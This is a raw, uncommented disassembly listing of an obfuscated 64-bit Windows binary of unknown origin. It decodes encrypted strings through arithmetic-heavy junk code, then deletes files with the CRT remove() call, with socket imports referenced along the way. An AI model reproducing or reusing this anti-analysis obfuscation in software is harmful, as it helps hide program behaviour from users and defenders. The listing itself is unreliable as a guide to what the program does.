lea edx, [rbx + 0x61]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x59
jmp 0x140216c90
lea edx, [rbx - 0x25]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 3
jmp 0x140216c30
lea edx, [rbx + 0x55]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x53
jmp 0x140216bc2
lea r8d, [rbx - 8]
movzx ecx, r8b
and cl, r10b
mov edx, Ordinal_30
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
movzx edi, bl
jmp 0x14021756d
lea edx, [rbx + 0x72]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x1e
inc r9
dec rbx
inc rbx
jmp 0x140216bb2
lea edx, [rbx - 0x14]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x74
dec rbx
inc rbx
jmp 0x140216bb2
lea r8d, [rbx + 0x66]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
movzx edi, bl
jmp 0x1402175d9
lea edx, [rbx - 0x20]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x20
add rax, r9
jmp 0x140217615
lea edx, [rbx + 0x5a]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x76
jmp 0x140217615
lea r8d, [rbx - 0x2c]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x140217647
lea edx, [rbx + 0x4e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x22
jmp 0x14021766a
lea edx, [rbx - 0x38]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x78
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
lea edx, [rbx + 0x79]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x4f
mov byte [rbp + rbx + 0x30], r11b
inc rbx
jmp 0x140216bb2
lea edx, [rbx - 0xd]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 0x5b
cmp r9, 6
jb 0x140216fd5
movzx edi, bl
lea r8d, [rdi - 0x4e]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
lea r11d, [rdx + rdx]
jmp 0x14021756d
lea edx, [rbx + 0x6d]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
add r11b, 5
cmp rax, 0x61
jae 0x14021749f
lea rcx, [r9 + 5]
cmp rax, rcx
jbe 0x1402173ae
lea r8d, [rbx + 0x76]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x3a
add r11b, r8b
jmp 0x140216ff7
lea edx, [rbx - 0x19]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x51
lea rcx, [r9 + rax]
cmp rcx, 0x1000
je 0x1402174c0
lea rcx, [r9 + 0x1000]
cmp rax, rcx
jbe 0x1402172de
lea r8d, [rbx - 9]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, 0x3f
add r11b, r8b
jmp 0x140217038
lea r8d, [rbx - 6]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
lea edx, [rbx + 0x74]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x2c
jmp 0x14021766a
lea r8d, [rbx - 0x12]
movzx ecx, r8b
and cl, r10b
mov edx, 0x3f
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x140217647
lea r8d, [rbx + 0x68]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r8b
add r11b, r10b
jmp 0x140217615
lea edx, [rbx - 0x1e]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x2e
add rax, r9
jmp 0x140217615
movzx edi, bl
lea r8d, [rdi + 0x5c]
movzx ecx, r10b
and cl, r8b
mov edx, 0x3e
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x1402175d6
lea r8d, [rbx - 0x2a]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_send
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
dec rbx
inc rbx
jmp 0x140216bb2
lea edx, [rbx + 0x50]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140216bb2
movzx edi, bl
lea r8d, [rdi - 0x36]
movzx ecx, r10b
and cl, r8b
mov edx, 0x3d
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x14021756a
lea rcx, [r9 + 0x400]
cmp rax, rcx
jae 0x140217223
lea r8d, [rbx + 0x43]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, 0x2b
add r11b, r8b
jmp 0x140217081
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14021725b
lea r8d, [rbx - 2]
movzx ecx, r10b
and cl, r8b
mov edx, 7
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
inc rcx
cmp rax, rcx
jne 0x140217284
lea r8d, [rbx - 0x7c]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_50
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
jmp 0x14021766a
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1402172ad
lea r8d, [rbx + 0xa]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x46
add r11b, r8b
jmp 0x140217647
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140217081
lea r8d, [rbx + 0x16]
movzx ecx, r10b
and cl, r8b
mov edx, 0x33
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
add rax, r9
jmp 0x140217615
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x140217307
movzx edi, bl
lea r8d, [rdi + 0x7d]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x6b
jmp 0x14021756a
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x140217331
lea edx, [rbx - 0x77]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
add r11b, 0x41
dec rbx
inc rbx
jmp 0x140216bb2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14021735a
movzx edi, bl
lea r8d, [rdi + 0xf]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x69
jmp 0x1402175d6
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140217381
lea edx, [rbx - 0x6b]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x13
add rax, r9
jmp 0x140217615
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x140217038
lea r8d, [rbx + 0x27]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x11
add r11b, r8b
jmp 0x14021766a
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1402173e6
lea r8d, [rbx - 4]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_ntohl
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14021740f
lea r8d, [rbx + 8]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x38
add r11b, r8b
jmp 0x140217647
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14021743f
lea r8d, [rbx + 0x20]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
dec rbx
inc rbx
jmp 0x140216bb2
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x140217472
lea r8d, [rbx - 0x5a]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
inc r9
dec rbx
inc rbx
jmp 0x140216bb2
lea rcx, [r9 + 6]
cmp rax, rcx
jne 0x140216ff7
movzx edi, bl
lea r8d, [rdi + 0x2c]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x34
jmp 0x14021756a
movzx edi, bl
lea r8d, [rdi + 0x38]
movzx ecx, r10b
and cl, r8b
movzx edx, byte [rbp + rbx + 0x30]
sub dl, cl
add dl, 0x3c
lea r11d, [rdx + rdx]
jmp 0x1402175d6
lea r8d, [rbx - 0x42]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, byte [rbp + rbx + 0x30]
sub r11b, 0x32
add r11b, r8b
jmp 0x140217647
lea edx, [rbx + 0x35]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x73
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
movzx edi, bl
lea r8d, [rdi - 0x69]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x21
jmp 0x1402175d6
lea edx, [rbx + 0x11]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x77
dec rbx
inc rbx
jmp 0x140216bb2
movzx edi, bl
lea r8d, [rdi + 5]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
sub r11b, 0x23
add r11b, r8b
sub dil, 0xb
movzx ecx, dil
and cl, r10b
add cl, cl
sub dil, cl
add dil, 0x4d
add dil, r10b
mov byte [rbp + rbx + 0x30], dil
inc r9
dec rbx
inc rbx
jmp 0x140216bb2
lea edx, [rbx + 0x73]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x25
inc r9
dec rbx
inc rbx
jmp 0x140216bb2
movzx edi, bl
lea r8d, [rdi + 0x67]
movzx ecx, r10b
and cl, r8b
add cl, cl
movzx r11d, r10b
sub r11b, cl
add r11b, 0x2f
add r11b, r8b
add dil, 0x7b
movzx ecx, dil
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, 0x5d
add dl, dil
add dl, r10b
mov byte [rbp + rbx + 0x30], dl
add rax, r9
jmp 0x140217615
lea rdx, [rbx + r14]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r11d, [rdx + r8]
sub r11b, 0x7d
movzx ecx, r11b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x140216bb2
lea rcx, [rbx + r12]
movzx r10d, r8b
and r8b, cl
add r8b, r8b
sub cl, r8b
lea r11d, [r10 + rcx]
add r11b, 0x2d
lea edx, [rbx + 1]
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
sub dl, 7
add dl, r10b
movzx ecx, dl
mov byte [rbp + rbx + 0x30], cl
inc r9
add rcx, r9
sub rbx, rcx
lea r8d, [rbx + 0x44]
movzx ecx, r8b
and cl, r10b
mov edx, reloc.WS2_32.dll_select
sub dl, cl
add dl, dl
add dl, r8b
add dl, r10b
mov byte [rbp + rbx + 0x30], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
lea rdx, [rbx + r15]
movzx ecx, r8b
and cl, dl
add cl, cl
sub r8b, cl
lea r11d, [rdx + r8]
sub r11b, 0x7f
movzx ecx, byte [rbp + rbx + 0x30]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x140216bb2
sub bl, 0x31
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
add r11b, 0x57
jmp 0x140216bb0
add bl, 0x49
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
inc r11b
jmp 0x140216ba0
lea rcx, [rbp + 0x1426d34]
jmp 0x140217720
lea rcx, [rbp + 0x15c1d77]
jmp 0x140217720
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [rbp + 0x70], 0xf2f81b03
mov dword [rbp + 0x74], 0xdeecdbe5
mov dword [rbp + 0x78], 0x6f0d8d7
mov dword [rbp + 0x7c], 0x1c24242d
mov dword [rbp + 0x80], 0x7e2e025
mov dword [rbp + 0x84], 0x25172f1e
mov dword [rbp + 0x88], 0x1f292b15
mov dword [rbp + 0x8c], 0x33353e37
mov dword [rbp + 0x90], 0x3ef6360d
mov word [rbp + 0x94], 0x3c35
mov byte [rbp + 0x96], 0xa8
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x97], xmm0
mov qword [rbp + 0xa7], rax
mov byte [rbp + 0xaf], al
movabs rsi, 0x7a048e3dc21bbcf5
movabs r15, 0x561fe3b04ec22ab3
movabs r14, 0x6e0daab9465336df
movzx ebx, byte [rbp + 0x3c0]
mov r9, qword [0x1404e35d0]
mov r8, qword [0x1404e35c8]
xor r11d, r11d
cmp r11, 0x40
jae 0x140218072
movzx r10d, byte [rbp + r11 + 0x70]
mov rdx, r10
cmp r9, r11
ja 0x140218069
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140217811
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x4d
jmp 0x140217840
je 0x140218002
lea rax, [r8 + 3]
cmp r9, rax
je 0x140217f82
lea rax, [r8 + 6]
cmp r9, rax
je 0x140217f61
lea rax, [r8 + 9]
cmp r9, rax
je 0x140217f1d
nop
cmp r8, r11
ja 0x140218060
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x14021786c
lea ecx, [r11 + 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x51
jmp 0x1402178a0
lea rax, [r8 + 1]
cmp r9, rax
je 0x140217f03
lea rax, [r8 + 3]
cmp r9, rax
je 0x140217ee2
lea rax, [r8 + 6]
cmp r9, rax
je 0x140217ec6
lea rax, [r8 + 9]
cmp r9, rax
je 0x140217e9d
lea rax, [r8 + r9]
cmp rax, r11
jbe 0x140217b19
nop dword [rax]
lea rax, [r8 + 2]
cmp r9, rax
je 0x140217af7
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x140217ad4
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x140217ab0
lea rax, [r8 + 8]
cmp r9, rax
je 0x140217a92
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140217a74
lea r9, [r8 + 0x42]
lea r8, [r9 + 2]
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x140218044
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x140218029
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1402179c1
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x1402179a7
lea rax, [r8 + 5]
cmp r9, rax
jb 0x14021798d
lea r9, [r8 + 2]
lea r8, [r9 + 0x64]
lea rax, [r8 + 3]
cmp r9, rax
ja 0x140217a4b
lea rax, [r8 + 0x40]
cmp r9, rax
ja 0x140217a2d
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x140217a13
lea rax, [r8 + 9]
cmp r9, rax
ja 0x1402179f9
lea rax, [r8 + 0x3e8]
cmp r9, rax
ja 0x1402179db
lea r9, [r8 + 0x64]
lea r8, [r9 + 3]
jmp 0x1402178b0
lea ecx, [r11 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x31
jmp 0x1402178a0
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x35
jmp 0x140217840
lea ecx, [r11 + 0x33]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x65
jmp 0x1402177e3
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217e63
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x7a
jmp 0x140217e66
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x14
jmp 0x140217f99
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217fc1
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217e63
lea ecx, [r11 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x1c
movzx edi, r11b
jmp 0x140217e43
lea edx, [r11 + 0x1a]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1402177d3
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
inc r8
dec r11
inc r11
jmp 0x1402177d3
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx edi, r11b
jmp 0x140217f37
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x140217bc9
lea ecx, [r11 - 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x4d
lea rax, [r8 + r9]
cmp rax, 0x1000
je 0x140217e7e
lea rax, [r8 + 9]
cmp r9, rax
jbe 0x140217ca2
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x59
cmp r9, 9
jae 0x140217e26
lea rax, [r8 + 0x61]
cmp r9, rax
jbe 0x140217d6f
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x56
cmp r8, 0x61
jb 0x140217e19
movzx edi, r11b
lea ecx, [rdi - 0x62]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea ebx, [rdx + rdx]
jmp 0x140217f37
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140217bfb
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5e
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
inc rax
cmp r9, rax
jne 0x140217c21
lea edx, [r11 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217e63
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140217c47
movzx edi, r11b
lea ecx, [rdi - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x5c
jmp 0x140217e43
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140217c74
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
dec r11
inc r11
jmp 0x1402177d3
lea rax, [r8 + 8]
cmp r9, rax
jne 0x140217b3e
movzx edi, r11b
lea edx, [rdi - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217f37
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140217cc8
movzx edi, r11b
lea ecx, [rdi + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0xd
jmp 0x140217f37
inc rax
cmp r9, rax
jne 0x140217cf3
lea ecx, [r11 + 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x73
inc r8
dec r11
inc r11
jmp 0x1402177d3
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140217d16
lea ecx, [r11 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x5b
jmp 0x140217e63
lea rax, [r8 + 4]
cmp r9, rax
jne 0x140217d39
lea ecx, [r11 - 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x71
jmp 0x140217f99
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140217b70
lea ecx, [r11 - 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x3d
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140217da5
lea edx, [r11 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
inc rax
cmp r9, rax
jne 0x140217dcb
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217f99
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140217deb
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x54
jmp 0x140217e63
lea rax, [r8 + 6]
cmp r9, rax
jne 0x140217b9c
movzx edi, r11b
lea edx, [rdi - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x140217f37
mov byte [rbp + r11 + 0x70], bl
inc r11
jmp 0x1402177d3
movzx edi, r11b
lea edx, [rdi - 0x78]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x70]
sub cl, al
add cl, 0x24
lea ebx, [rcx + rcx]
add bl, dl
add dil, 0x7d
movzx eax, r10b
and al, dil
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x6b
add cl, r10b
add cl, dil
mov byte [rbp + r11 + 0x70], cl
add r9, r8
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1402177d3
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0x70]
lea ebx, [r10 + rcx]
sub bl, 0x1e
jmp 0x140217f99
lea ecx, [r11 + 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x45
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
lea edx, [r11 + 0x7f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x79
add bl, dl
jmp 0x140217f99
lea ecx, [r11 - 0x29]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x1f
dec r11
inc r11
jmp 0x1402177d3
movzx edi, r11b
lea edx, [rdi + 3]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x15
jmp 0x140217f35
movzx edi, r11b
lea edx, [rdi + 0x2f]
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x49
add bl, dl
sub dil, 0x6d
movzx eax, r10b
and al, dil
add al, al
sub r10b, al
sub r10b, 5
add r10b, dil
mov byte [rbp + r11 + 0x70], r10b
inc r8
dec r11
inc r11
jmp 0x1402177d3
lea ecx, [r11 + 0x5b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x7d
dec r11
inc r11
jmp 0x1402177d3
lea rcx, [r11 + r15]
movzx r10d, dl
and dl, cl
add dl, dl
movzx ebx, r10b
sub bl, dl
add bl, 0x1b
add bl, cl
lea edx, [r11 + 0x67]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x2f
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x70], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x70], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
lea rcx, [r11 + r14]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x19
movzx eax, byte [rbp + r11 + 0x70]
add rax, r8
add r11, rax
inc r11
jmp 0x1402177d3
add r11b, 0x49
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
inc bl
jmp 0x1402177d0
add r11b, 0x5f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x67
jmp 0x1402177c2
lea rcx, [rbp + 0x162f50c]
jmp 0x140218076
lea rcx, [rbp + 0xfeb201]
jmp 0x140218076
lea rcx, [rbp + 0x70]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x218]
call fcn.1400665d0
lea rcx, [rbp + 0x218]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x328]
call fcn.1400665d0
lea rcx, [rbp + 0x328]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret